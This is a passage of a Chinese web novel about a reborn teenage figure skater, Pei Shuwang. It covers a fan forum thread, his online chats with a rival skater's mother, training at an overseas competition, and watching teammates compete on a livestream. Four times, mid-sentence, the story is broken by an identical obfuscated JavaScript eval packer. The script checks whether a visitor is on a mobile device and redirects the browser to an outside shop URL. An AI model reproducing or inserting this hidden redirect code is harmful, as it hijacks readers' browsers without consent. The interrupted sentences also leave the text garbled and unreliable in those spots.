“都给我吧,刚刚确实消耗的不少,嘿嘿,谢谢涵姐。”郁梓睿接过巧克力塞进嘴里,忍不住吐槽,“这赛程安排没话讲,双线的隔三个小时就得比第二场。明天自由滑不得累死吗。” “能力越大压力越大。”鄢宇航默默接过吐槽,“主办方就这样压榨时间,节省场地费用。” “好扣,好现实。” 裴舒望站在挡板边,双手搭在板沿上,目光落在冰场内。第四组运动员全部完成节目下场了,冰面上布满凌乱的冰痕。他身后是候场区,选手或站或坐,还有的在和教练交流些什么,正在热身还没结束的,已经热身差不多等着六练的。 “不紧张吧?”裴立伟走到裴舒望身旁,也望向冰面。“这场目标,刷到最低技术分就行,不要给自己太大压力。” “教练,不相信我吗?”裴舒望声音不高,透着点委屈。 “怎么会,别听老裴乱说。我是一直相信你的,什么冠军金牌那都不在话下。”邝辉手拿保温杯,闻言靠了过来,揽着裴舒望的肩,扭头观察他的表情,“别逗你裴教练玩了,谁不信你都不可能他不信你,笑藏一藏。” 稍微正了正神色,“好的,保证完成任务。” “什么任务?”*2 【选手讨论|可以发吗?们滑紫微星来了】 华国花滑紫微星来了,紫微星真的来了。理性讨论,明年冬奥名额会不会有大变动 1L:别奶了,奶死婊活,先踩踩↓↓↓ 2L:楼主振作点啊,别OG还没到人先疯了。 3L:是周映澄吗?她确实牛,难度出得早,裁判缘也很好,我朝断代了那么多年终于接到个真·紫微星。感觉名额就是她的,没什么可能变动吧。 4L:等过几年发育结束了再观望观望,女单发育关沉湖的一大堆,青年组支楞有什么用,都看成年成绩,现在吹得这样天花乱坠,别最后成软柚子了 5L:不要唱衰吧……青年组大魔王,还有超C,她不是紫微星谁是…… 6L:怎么办呢,就是生得好呀,奥运赛季压线升组,不用现在装模作样操心发育的呢。 7L:就她一个独木难支,感觉我们这训练体系是不是有问题,樱花大鹅那块感觉人才突突得往外冒,好苗子一茬接一茬长,就我们这一直接紫微星,几年接一个,一个用几年 8L回复4L:今年刚好升组,她生日比较好,冬奥赛季当年满十五岁升的组,这届冬奥参赛的估计就她了 9L:上届冬奥到明年坪昌,这个周期四年全是77撑下来的,名额也是她世锦赛拿的,最后一下搞卸磨杀驴太过分了 10L:只是训练体系有问题吗?教练领导管理层的感觉问题也不小 11L:有些人心肝偷偷藏不住了哈,穿件衣服吧,现在说什么沉湖,反正世青冠jgpf银在手的是橙子,其他的whocares 12L:lz出来管一下好吗?混进了一堆莫名其妙的 13L:橙子名额板上钉钉的,近几年国际赛成绩最好的女单了吧。 14L:不止,女单近十几年最好的 15L回复3L:真的很喜欢她的天鹅湖,特别好看!滑行丝滑,动作细腻,看得格外舒适,绝对的明日之星! 16L:不一定吧,肖佳琪拿的名额,还是希望她能去 17L:还没参加过成年赛事,不要说得那么笃定啊,真的有点害怕了 18L:名额归国家的,不存在谁拿的谁去,谁实力强谁就能去。 19L:梦里啥都有楼主 20L:等等,lz没说是女单吧 21L:刚升组没经历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311152|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过大赛不一定能撑起来,名额没那么稳,可能还是那几个成女进 22L[楼主]:不好意思啊,我主楼内容没复制好就发出来了,手滑,说的不是女单啊!!! 23L:我信了,接 24L:再不稳,全锦能三连冠国内没人能和她争吧 25L回复7L:练的人少吧,没群众基础。主要还是北方的练,现在省队也少,大部分都是家长自费练滑,投入大收获少。 26L:??? 27L:啊?不是女单那是谁?双人?男单?冰舞? 28L:说的是谁 29L:我笑死,楼主这手滑给大家整不会了 30L回复22L[楼主]:那赶紧粘贴出来吧,燥侯紫微星,想看 31L[楼主]:俱乐部联赛第二站男单青年组冠军裴舒望,自由滑上了3lo、3f、3lz、3a、4t、4s。这配置国内男单多少年没见过了?而且他才15岁,15岁啊!江宁省队那个去年空降的长发小哥,之前考级论坛就有人讨论过,第一次正式参加比赛就直接夺冠。关键他两套节目表现力还特别好,短节目滑得我起鸡皮疙瘩,自由滑也是,感染力贼强,全场跟着打拍子。我朋友坐我旁边问我这谁,我说我也不知道,就听见广播说他叫裴舒望。查了下生日02年6月23的,踩线达到坪昌年龄,俱乐部联赛第五站报了青年组和成年组,会不会是新的黑马出来搅局? 32L:男单青年组哪来的含金量,有3A的一只手数的过来,拿冠军不能证明什么吧,难度确实还行,但是不知道稳不稳,万一是个抽货。 33L:华国花滑一直这个水平啊。。。你以为应该怎样?3a遍地跑,四周满街有?就算是抽货也能争一争了,国内几个超C选手说这些。。。 34L:3a、4t、4s???这是15岁该有的配置?? 35L:楼上的别热演,刚升成年组又让你们奶不行了,放过我们小橙子好吗? 36L:我刚去搜了视频,这滑行质感,这用刃深度,这表现力……真的是15岁吗? …… 73L:男单终于要有能拿得出手的了吗?这些年国际赛场上都快查无此人了 74L:别奶太早,才15,还有发育关要过呢 75L:男单发育关还好吧,长肌肉反而是好事,只要别长太高 76L:他目前多高?看着不矮 77L:之前有人说一米七左右,15岁这个身高确实有点危险,再长到一米八以上跳跃会受影响 78L:他技术框架好,用刃深,转速快,应该能调整 79L:别想那么多,先过全锦赛这关,舒明不是那么好赢的 80L:舒明这两年状态麻麻,但大赛经验在那摆着,小孩第一次全锦赛能不能稳住还两说 81L:也是,大赛经验很重要,第一次全锦赛就当积累经验吧 82L:好期待全锦赛啊,好久没这么期待过男单比赛了 83L:+1,希望时间快进到全锦赛 16. 第 16 章 “啊?你总决赛不参加啊?” 郁梓睿的声音在更衣室里炸开,惊得刚刚从冰场下来的鄢宇航差点把手里的杯子掉地上。 裴舒望把冰鞋脱下,准备擦干净收好。第五站结束了,两金收官,但他脸上看不出太多喜悦,只是平静地应了一声:“嗯。” “为什么啊?”郁梓睿凑过来,满脸不解,“你两站都第一,总决赛稳拿冠的啊!干嘛不去?” “时间撞了。”裴舒望把擦刀布换了个面,仔细擦拭刀刃上的水渍,“大奖赛第一站跟总决赛就差一天,时间来不及。” “已经选好站了?不能换后面几站吗?比完总决赛再去大奖赛啊。” “选好了,第二站太远了,去那要飞十几个小时,到了还得倒时差。”裴舒望抬头看他,“第一站比较近,就不折腾自己了。” 郁梓睿张了张嘴,想说什么又咽了回去。 鄢宇航拿着杯子走了过来,在裴舒望旁边坐下:“你想好了?总决赛也是积分,后面全青锦和全锦出场顺序都看积分的。” “想好了。”裴舒望把擦好的冰鞋放进包里,拉链拉好,“我的目标不是俱乐部联赛总决赛。” 他说这话的时候语气很平静,没有刻意强调什么,只是在陈述事实。 郁梓睿盯着他看了几秒,忽然叹了口气:“行吧,你是真的一点都不在乎这些啊。我要是能进总决赛,做梦都能笑醒。” “所以你进不去。”鄢宇航面无表情地补刀。 “喂!” 裴舒望嘴角微微扬起,没说话。 更衣室里安静了几秒,只有郁梓睿愤愤不平的嘟囔声。门外隐约传来清冰车运转的嗡鸣声,还有场内人群的交谈声。 “那你什么时候走?”鄢宇航问。 “后天。”裴舒望把背包拉链拉好,站起身来,“先回宿舍,再回趟家,收拾东西,然后直接飞过去。” “这么快?” “那边要提前适应场地,早点去,免得后面有什么突发状况。” 郁梓睿靠在柜子上,难得正经起来:“那你自己注意点,别太拼。那边几个教练跟着去?” “邝教练陪我去。”裴舒望顿了顿,看向两人,“你们总决赛加油。” “加什么油啊,”郁梓睿摆摆手,“我又不一定能进,还得等名单出来呢。” “你能进。”裴舒望说得笃定,“第二站有失误分数一般般,但这站第四,帮你看了分数排名,刚好排第六。” 郁梓睿愣了一下,随即笑了:“你还帮我看着呢?” “顺手。” “但你这样不就不能看我和鄢宇航的比赛了吗?”郁梓睿嘴角向下,视线看向裴舒望,“我之前还打算,就是进不了总决赛,也要去现场给你们加油欸。” “直播直播,二十一世纪了。到时候有空我就看现场直播,没时间也会看回放的。”裴舒望语气带着笑回复他,下一秒却正声道,“你是不是没打算看我比赛直播?” “怎么会,放心。总决赛一结束,我就拉着鄢宇航守在直播间等你的比赛,在屏幕这头给你加油!” “安心比赛,”鄢宇航站起身,拍了拍裴舒望的肩膀:“到了那边发消息。有什么需要帮忙的就说。” “好。” 两天后,机场。 候机大厅里人来人往,广播里一遍遍播放着航班信息。裴舒望背着双肩包,身边放着一个行李箱,里面装着他全部的行李——几套训练服,两件考斯滕,妙蛙种子纸巾盒,还有那双陪了他快两年的冰鞋。 邝辉在旁边打电话,大概是跟家里交代行程。裴舒望掏出手机,刷着大眼app打发时间。 @橙子种植园更新了。 配文很简单:训练日常。[视频] 简单一段四十秒的视频,画面中的女孩先是简单的压步提速后,转三,左脚向前起跳,空中转体——两圈、三圈、三圈半,浮足抬起,右脚稳稳落在冰面,除了些许溅起的冰屑,整个跳跃完全赏心悦目。后面接着的是大一字进入阿克塞尔三周,同样干净利落,视频就此结束。 裴舒望盯着屏幕看了几秒,拇指悬在屏幕上,又点了一次重播。 几次重播后,他注意到了些东西。起跳瞬间,右臂挥得有点高,导致上半身微微往下沉,而且右肩往前送了,这个问题不大,就像她视频里一样,两个跳跃都能完美实现。但这个坏习惯不是永远无害,状态不好时它的负面影响就全都显现出来了。它可能会导致跳跃方向变成直向前,而不是在空中完成旋转动作,导致跳跃者无法完成预期动作。很多时候,致命的不是那些大家心知肚明的错误,而是这些平时无伤大雅的小习惯。 再会诺尼诺:妈妈可以和映澄说一下,起跳的时候右臂挥得太高了,上半身有点前倾,可以用弹力带控制一下摆臂幅度。 发送。 他没指望会有回复。这种训练视频下面,每天都有无数人留言指点江山,大部分都是外行看热闹。就像之前偶尔几个训练视频下,他都会顺手提一句,看不看得到,听不听都无所谓,总归他会和周映澄见面的。 广播响起,登机了。 裴舒望收起手机,背着包,和邝辉一起走向登机口。 三个多小时的飞行,抵达目的地时,时间尚早,还没到晚上。他们先去赛事官方指定的酒店落脚。酒店房间不大,但干净整洁,窗外的城市车水马龙,和他熟悉的江宁截然不同。 裴舒望洗了把脸,躺在床上发了会呆,重新打开手机。 大眼app的消息提示跳了出来。 @橙子种植园:你好。刚看到你的留言,能具体说说吗?[微笑] 裴舒望看着屏幕上的回复,有些怔愣。 他没想过会收到回复。更没想过,回复会来得这么快。起身,靠在床头,屏幕里的语句输入又删除。该怎么具体说?只是简单的一些细节,一直提,会不会让……妈妈觉得他吹毛求疵,可妈妈都专门私信问了自己,那应该是希望听到别人的建议。 @再会诺尼诺:阿姨好。就是视频里阿克塞尔起跳的时候,她右臂挥得有点高,肩膀往前送了。这个习惯平时没问题,但状态不好的时候容易导致跳跃方向偏前。可以用双手抓弹力带起跳,固定一下摆臂幅度,慢慢改过来。 这次回复来得更快。@橙子种植园:谢谢你这么仔细地看,你也是练花滑的吗?之前视频下也有看到你的建议。[玫瑰][玫瑰] 裴舒望的手指顿了顿,他现在——十五岁,刚结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311153|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俱乐部联赛,再过几天要参加青年大奖赛的一名普通的省队运动员。 @再回诺尼诺:对,我也是练花滑的,男单。 @橙子种植园:原来如此!难怪看得这么准。我们家映澄今年刚升组,很多事情还在摸索。方便问一下你叫什么名字吗?在哪训练? 看着屏幕,裴舒望犹豫了几秒。[裴舒望,在江宁省队训练。] [好名字!] [江宁,那离我们这有点远了。我们在岚西,有机会来岚西玩,当面谢谢你。] 眼中倒映出岚西二字,陌生,却在他心里轻轻震动了一下。恍惚,上一世,那个还不叫岚西的他的家乡。这一世,依旧是周映澄的家乡,而他还没踏上过那片土地。 [好,谢谢阿姨。] [不客气。新赛季比赛加油呀。] 对话就此结束,他将手机放到一边,躺回床上,望着天花板出神。 窗外有飞机掠过,声音由远及近,又渐渐远去。他想,这个世界真的很奇妙。上一世,他几乎不怎么和妈妈在网上聊天。那时候她们天天见面,偶尔分离也经常打电话,觉得妈妈发网上的视频只是个分享,也不甚在意。妈妈也会和自己分享网上那些朋友粉丝的鼓励,传达那些来自陌生人的善意。 可现在,他成了那个陌生人。 手机又震了一下。 @橙子种植园:对了,舒望小朋友,你多大啦?听你说在江宁省队,应该也是青年组的吧? 裴舒望嘴角微微扬起。小朋友,这个称呼从妈妈嘴里说出来,带着一种久违的亲切。 [十五,02年的。] [那和我们映澄同岁啊!她是零二上半年生的,你呢?] [我也是上半年,六月。] @橙子种植园:那比我们家映澄小一点,她三月份的。有机会真的可以认识一下,你们同龄,应该有很多共同话题。 看向屏幕,裴舒望一时不知道该怎么回复。 共同话题,他们当然有。他们共用过一个教练,滑过同一套节目,站在过同一个领奖台上。他知道对方的过去,经历过她的未来,不仅共享荣耀也同经低谷,他是最了解对方的人。 只是这些,他不能说。 [好啊。等全锦赛的时候,应该能见到。] @橙子种植园:那太好了!到时候阿姨请你吃东西。 裴舒望看着那条消息,眼眶忽然有些发酸。他深吸一口气,打下一行字。 [谢谢阿姨,很期待。] 邝辉的敲门声适时响起:“舒望,收拾一下,下去吃晚饭了。明天还要早起去冰场。” “来了。” 他最后看了一眼屏幕,把手机收进口袋。 走出房间时,走廊里的灯光很亮。他忽然想起刚重生那天,站在冰场中央,周围的一切都陌生得可怕。而现在,他有了教练,有了队友,有了……一个家,甚至还有机会能再和妈妈说话。 虽然是以陌生人的身份。 电梯门打开,邝辉已经在里面等他了。“发什么呆呢?快进来。” 裴舒望走进电梯,看着电梯门缓缓合上。 镜面里映出他的脸,十五岁,长发扎在脑后,眉眼间还带着少年人的青涩。 17. 第 17 章 清晨六点,裴舒望准时睁开了眼。 窗外天色刚亮,一线灰白的光透了进来,在床上印出一道细长的光痕。隐约能听见城市正在苏醒的声音,人声、车流声和鸟鸣声…… 他没有立刻起身,在床上躺了两分钟,把今天的安排在脑中过了一遍。七点早餐,八点半出发去冰场,上午两小时冰上适应,中午放松休息,下午再练两小时,晚上回酒店拉伸放松。和往常无数个训练日差不多,没什么不同。 起身洗漱,镜子里的人还带着点没睡醒的倦意,长发有些凌乱的散在肩上。他随手拢了拢,扎了个低马尾,用冷水洗了把脸,这才彻底清醒过来。在健身房简单晨练,时间过得很快,马上七点了。 邝辉已经在楼下的餐厅等他了。自助餐种类不少,裴舒望拿了个面包和两个水煮蛋加一杯牛奶,坐在窗边慢慢吃。邝辉端着碗面过来,在他对面坐下。 “昨晚睡得怎么样?可以吧?” “还行。”裴舒望咬了口面包,“这边比江宁干燥,不过还好。” “今天先适应冰面,找找感觉,不用上难度,四周暂时先别跳。”邝辉低头喝了口汤,“熟悉下场馆,跟之前在国内差不多,每个场子都不一样,冰面也不一样,得先让身体记住。” 裴舒望点头。这些他当然知道,不说上辈子比过的赛,去过的场馆,多到数不清。就是这一世刚进省队那一年,两次等级测试都是全国飞,也早已习惯。但对于邝辉教练,第一次带队员出国比赛,踏上国外冰场,他的内心显然不像表现出来的那么淡定。 “对了,”邝辉翻着手机,“这次参赛的名单我看了一眼,有几个熟面孔。立本的相山成树,鄂罗斯的格里戈里·拜科夫,都是拿过青年大奖赛分站赛牌子的。你第一次参加国际赛,碰到他们不用有压力,滑好自己的就行。” 裴舒望“嗯”了一声,继续吃早饭。压力?很正常,他当然有压力,不是因为对手有多强。他的压力源自他自己,能不能clean节目,能不能将节目表演到极致,能不能让裁判记住他。目光聚焦在对手身上不能给他带来胜利。 对手是谁,无所谓。 八点半,准时出发去场馆。 场馆离酒店不远。进场的瞬间,那股熟悉的冷冽气息扑面而来。场馆里已经有人在训练了,冰刀划过冰面的声音细碎而清晰。裴舒望站在馆内,深吸一口气,不管在哪个世界,不管多少次,只要站在这片白色上,他就知道该做什么。 换冰鞋的时候,旁边有个金发碧眼的外国选手正在绑鞋带,看起来年纪不大,和他差不多。那人察觉到他的视线,侧头看了眼,简单扫过他的脸,又在他的头发上多停留了几秒,然后冲他点了点头。 裴舒望也朝旁边那人点了点头,算是打招呼。 “谁啊?”看旁边那人绑好鞋带上了冰面,邝辉好奇问道。 “不认识。”裴舒望把鞋带系紧,“比赛的选手,也是来训练的吧。” 冰场冷气开得很足,呆久一会儿,周身能感觉到皮肤正被寒意侵袭。上场滑了几圈,稍稍活动开让身体回暖。裴舒望将外套脱下,交给教练又重新回到冰面。场内棚顶天花板上的灯十分亮,场边板墙也是大面积的白色,光从冰面向周围反射,偶尔会有几个晃眼的瞬间。 “砰”——和昨天视频中相似的阿克塞尔三周落下,动作利落,轴心正,落冰时膝盖压得很低,卸掉了大部分冲击力。尽管身形、着装、肢体和环境都不尽相同,但那股骨子里透出的对跳跃节奏的把握却十分相似。旁人不清楚,或许只有某天二人一同起跳才能有人发现这些巧合,猜测他们是不是同个教练启蒙。 今天还不能合乐练习,裴舒望简单把定级和编排步法滑了几遍,可能是温度原因,这里的冰面硬度不是很完美,对花样滑冰这项运动来说有点偏硬了。但也许真的是在水里加了牛奶或者什么其他材料,冰面的韧性还可以,不会特别脆。刀刃切入冰面,蹬冰的力道能清晰地传递到冰面上,冰痕也清晰可见。这种冰面需要更果断的发力,对膝盖压刃的要求也更高。最后几个跳跃收尾,上午的训练也差不多结束了。 邝辉站在挡板旁,举着手机录制裴舒望在场上的训练。刚刚裴舒望滑回来喝水的时候他还特地叮嘱了,跳跃尽量放在他站着的这个角,拍得更清晰也不用担心被场上其他选手给挡住。 “状态很不错,”邝辉把手机收好,将刀套递过去,“不知道怎么说你,别的都好,不管跳空、歪轴还是缺周反正都能站住,能少摔少受伤少遭点罪,就是脚踝那块得注意。” 裴舒望披上外套,坐在矮凳上换鞋,准备和邝辉打道回酒店,“别担心,周数缺太多的我也不是神仙,没办法硬落啊,吃个q的度数脚踝负担应该没那么大。” “还在长身体,不知道什么时候能稳定下来。”邝辉叹了口气,拍了拍裴舒望的肩,“幸好不是一下子猛窜,最好就这样慢慢的定在一米八。” “也不能少吃点压身高,到时候骨头脆,掉肌肉更是不行。” “没办法呀,教练。”裴舒望抬头,脸上同样无奈,“要是我能决定,我也觉得一米七就够了,慢慢来吧。” 话音刚落,冰面上传来冰刀靠近的声音。裴舒望起身,扭头看见那个刚刚打过招呼的外国选手滑了过来,停在他面前不远的地方。 那人好似是担心裴舒望听不懂,口中只吐出了几个简单的词:“你是立本人吗?” 裴舒望愣了一下,同样用英文回道:“不是,我是华国人。” “哦,你的跳跃,很漂亮。”外国选手语气透着欣赏,带着称赞的意味,“你的头发,也很漂亮。” “你的ins账号是哪个,我想关注你。” “不好意思,我没有账号。你可以把你的账号告诉我,等比赛结束,我再注册个账号关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311154|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注你。” “这是我的账号,我叫亚历山大·坎贝尔。”金发小卷毛接过裴舒望递过来的手机,在备忘录打下一串字母。“你叫什么名字?” “裴舒望。” “裴——舒——望——” 听着小卷毛奇怪的发音,邝辉在旁边忍笑,用普通话小声说:“这小老外还挺有意思。” 亚历山大没听懂,但看邝辉的表情知道是在说他,也不介意,继续对裴舒望说:“一定要记得啊!” 短暂的小插曲结束,拿回手机,刚要收进袋子里。 手机震了一下,是大眼app的消息提示。 @橙子种植园:舒望小朋友,比赛加油呀!阿姨在国内给你打气![肌肉] 应该是刷到了他参加青年大奖赛的消息,裴舒望看着那条消息,嘴角不自觉地扬起。他打字回复:谢谢阿姨,我会加油的。 发送完,他又补了一条:今天到场地了,状态还可以。 对方回得很快:那就好!不要有压力,顺顺利利比完就是胜利! 裴舒望盯着屏幕看了几秒,把手机收进口袋。别人家的家长,明明以前自己参加比赛的时候,妈妈对她的要求可是从来不低。 有次短节目下场后,因为失误导致排名不好。妈妈在酒店给她分析前面几个主要竞争对手的自由滑节目配置表,带她梳理自己的技术构成排布,和教练商量怎么能够补上分差,如果自由滑跳跃出问题如何补救。妈妈跟她说过:既然参加比赛,那目标就是第一。 “谁啊?”邝辉凑过来看了一眼,“网友?” “不是。”裴舒望摇头,“一个长辈,之前在网上认识的。” “网上认识的?”邝辉挑了挑眉,“靠谱吗?” “靠谱,”裴舒望顿了顿,“是周映澄的妈妈啊。” 邝辉愣了一下:“周映澄?练女单的那个周映澄?” “嗯。” “啊?这你们是怎么认识的?” “我之前有在她的账号下面留言,说了一些训练上的建议。”裴舒望把鞋包拉链拉好,“她回了我,然后就聊上了。” 邝辉看着他,表情有点复杂:“你小子,还挺会social。” 裴舒望没解释,也不知道要怎么去解释。那些建议,不是他随便信口开河,每一句都是他曾经历过、努力过、尝试过进行改变的,是他在无数次失败和成功中总结出来的。他想让周映澄,这次可以少走一点弯路。 希望她可以完成自己的梦想,实现他未达成的目标。 “走吧,”邝辉转身,向场外走去,“回酒店休息,下午再来练一场,还能再练两天,就正式比赛了。” 裴舒望点点头,背起鞋包,跟着邝辉往外走。 走出场馆时,外面的阳光正好。天很蓝,没有云。他站在门口眯着眼看了一会儿,阳光落在脸上,带着舒适的温度。 18. 第 18 章 “教练,郁梓睿他们是今天几点的比赛啊?”裴舒望咽下口中含着的热水,靠在板墙边问道。 “青年组男单十二点半开始,刚好回酒店就能看。女单在男单后面,应该……”邝辉一摸口袋,掏出手机开始看俱乐部联赛的赛程安排表,“两点前就比完了,这边比华国早一个小时,咱们上午训练结束,回去应该能赶上直播。” 裴舒望点点头,把保温杯的盖子拧紧。 回到酒店,吃过午饭,裴舒望回房间,认真拉伸放松完毕。坐在床上,中午还是需要一些适当的睡眠。邝辉和他简单说了几句,交代了下午的训练安排,也打算离开。 “有事就发消息,我就在隔壁。” “好。” 门关上,房间安静下来。 裴舒望没有马上休息。他侧过身,从床头柜上摸过手机,打开直播界面。是俱乐部联赛总决赛的直播,主播不在,不知道是会在节目正式开始后回来,还是就这样一直原声转播赛事。 距离青年组男单上场还需要等待一会,画面里清冰车刚刚扫完半个场地,还没退场,镜头定格在空荡荡的冰面,经过十几分钟清冰车的努力,上面被冰刀留下的痕迹都已消失,重新变得光滑平整。 总决赛,每个项目每个组别只有六个人可以进入到这个赛场。虽然很多运动员出于各种考量会选择退赛,像备战大奖赛的周映澄和青年大奖赛的裴舒望,还有其他因伤病问题退出的选手,但对于刚开始新赛季的小运动员来说,还是有一定的含金量的,能帮选手从休赛季中迅速找回竞技状态。 手机消息通知栏处弹出条新消息,是郁梓睿在群里发的。 [紧张死了紧张死了紧张死了!!!] 后面跟着一串乱七八糟的的表情包,最后一个是一只土拨鼠正张大嘴尖叫的动图。 裴舒望看着被刷屏的群消息,嘴角微微扬起,打字回复:别紧张,正常滑。 发完又补了一条:我在这直播看着呢。 郁梓睿秒回,[!!!你不是在训练吗?] [上午结束了,下午还有。] [那你好好看我比赛,别睡着!] [你们那边有时差吧,没什么影响吧?] [嗯。没事,就差一个小时,看完直播还能休息会。] [对了,等下我第一个上场,鄢宇航之前分数是第四,在我后面第三个进场比赛。] [对,某人递补进的,第一个上场。] [别管怎么进的,进了就行了。能别搁群里发这些有的没的行吗,我真想揍你。] [收到。(*^_^*)] 退出聊天软件,屏幕上清冰车已经退场,青年组男单选手正准备进场开始六分钟练习。镜头扫过,依次出现六张面庞,都是之前在俱乐部联赛各站碰过的熟面孔。郁梓睿穿着省队的外套,在场上直接开始尝试跳跃,阿克塞尔两周、内点三周、后内三周接外点三周,六分钟练习大部分时间他都在熟悉跳跃,看上去今天状态不错,跳跃没有什么大失误摔倒。 鄢宇航也是同样的省队外套,简单跳了两个外点三周后,他就转而练习旋转和步法了,没有再继续进行跳跃。 广播响起,六分钟练习时间还剩最后一分钟。郁梓睿没再继续他节目里的跳跃动作,只见他绕场压步,很长一段待机后整个人向前起跳——阿克塞尔三周。镜头捕捉到了这一幕,郁梓睿落冰时翻身加手扶冰,但没有摔,周数在没有回放的镜头下粗看也在九十度范围内,今天他的状态真的很好。他自己应该也很意外,一分钟结束,其他人下场。场上只剩他一个人,观众可以明显感觉到他身上那股激动高昂的情绪。 裴舒望把一个枕头放在腿上,手机架在枕头上,整个人靠坐在另一个枕头看着直播间。 镜头锁定郁梓睿,他正在挡板边深呼吸,肩膀随着呼吸起伏。他脱下外套递给教练,蹬冰滑向冰场中央。 音乐响起。 郁梓睿的起滑很稳。开场跳跃落冰干净,接下来的连跳也顺利完成。接续步比平时训练时更舒展,旋转转速不错,姿态变换清晰。最后一个动作结束时,他整个人跪在冰面上,双手撑地,低着头喘息了两秒,然后慢慢站起来,向四周观众致谢。 裴舒望靠在枕头上,嘴角不自觉地上扬。 滑得好。 分数出来,不仅暂列第一,同时也达成郁梓睿个人生涯最高分。直播间画面切到等分区,只见郁梓睿愣愣地盯着分数看了几秒,然后突然转身,一把抱住了旁边的教练。裴立伟拍着他的背,脸上是掩不住的笑意。 视角转回场上,第二位选手也上场了。郁梓睿的消息又在聊天群里出现: [啊啊啊啊啊啊啊啊我clean了!!!] [今天特别棒^-^] [我回去得把这段视频存下来,爽!] [你下午训练加油!晚上我再给你发消息!马上鄢宇航要上了,拜拜。] [嗯,拜拜。] …… 放下手机,裴舒望躺回床上,盯着天花板看了一会儿,闭上眼睛。 青年组的比赛结束了,后续的成年组比赛他没有再看。房间里安静下来,只有窗外的风声和偶尔传来的隐约人声。他躺了几分钟,没有睡着,脑袋放空。从今天上午的训练,再到明天要练的内容,全都过了一遍,最后停在刚才直播间看到的那些画面上。 这次总决赛江宁省队的大家发挥的都很不错,不说全部clean,但也没有大崩溃套。尽管如此,还是有失误后肉眼可见心情不佳的选手。比赛就是这样,有人笑就有人哭。今天的笑不代表明天还能笑,今天的哭也不代表明天不能翻身。kissandcrycorner,浪漫或悲伤,它只默默见证。 裴舒望睁开眼,看了眼时间。离下午训练还有一个小时,还能再躺一会儿。 手机又震了一下,是郁梓睿发来的私聊:你说我要是明天自由滑也clean了,能拿牌子吗? 短节目结束,郁梓睿当前排名第四,鄢宇航第三,二人差距不到三分。暂列第一的选手有阿克塞尔三周,第二的选手有高级三三连跳,看直播间弹幕他前段时间放了外点四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311155|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周卫星,不知道这次自由滑他会不会上这个跳跃。裴舒望想了想,在对话框输入:看你clean成什么样。 [?] [周映澄去年JGPF自由滑也是clean,拿了银牌。] 对面沉默了几秒,然后发来了一个土拨鼠尖叫的表情包。 [你能不能认真点!!] [实话。怎么了?] [……行吧,那我争取clean成周映澄那样,能拿个铜牌也行。] 裴舒望看着那条消息,脸上带着丝笑意。[加油。] 下午训练的闹钟响起时,裴舒望已经睡了又醒,睁着眼躺了好一会儿了。 他起身,去卫生间洗了把脸,认真将长发束成低丸子头。镜中少年眼神清醒,没有午睡后的朦胧。简单收拾一下,敲响隔壁的门。 邝辉开门时还在看手机,抬头看他一眼:“休息好了?” “嗯。” “行,那走吧。” 下午的冰场比上午安静些,裴舒望在场下陆地热身后换上冰鞋,上去滑了几圈,身体很快进入状态。 今天的重点还是适应冰面,再完成些日常训练。他把短节目的步法拆开,一段一段地过,熟悉刀刃划过冰面带来的感受。 邝辉在场边拿着本子,不时喊几句话:“內外勾括弧步那段,你弧线再拉大一点。对,就是这样——” 裴舒望滑到挡板边,将板墙上的妙蛙种子抱在怀里,抽出几张纸擤了擤鼻子。 “感觉怎么样?还行吧?” “还可以。”他将抽纸玩偶放回板墙上,纸团扔到背包里的垃圾袋中,“比上午顺多了。” “那就好。”邝辉看了眼时间,“再练半小时,然后回去放松。明天公开练习,后天就比赛了。” “今晚要出去逛逛吗?比赛后可能没机会出去玩。” “不用,正式比赛的时候时间更充分,还是先练着吧。”裴舒望摇了摇头,重新回到场上。 下午的训练结束得比预计还要早一些。收拾好东西离开的时候,场馆外阳光正好,他拍了一张街道旁,蓝天和绿叶的合照。 发到群里。 郁梓睿秒回:[???你在国外发风景???] [刚训练完。] [不好看吗?] [拍得不错,挺好看的。] [你明天公开训练对吧,我看看这边比赛结束后能不能赶上直播] 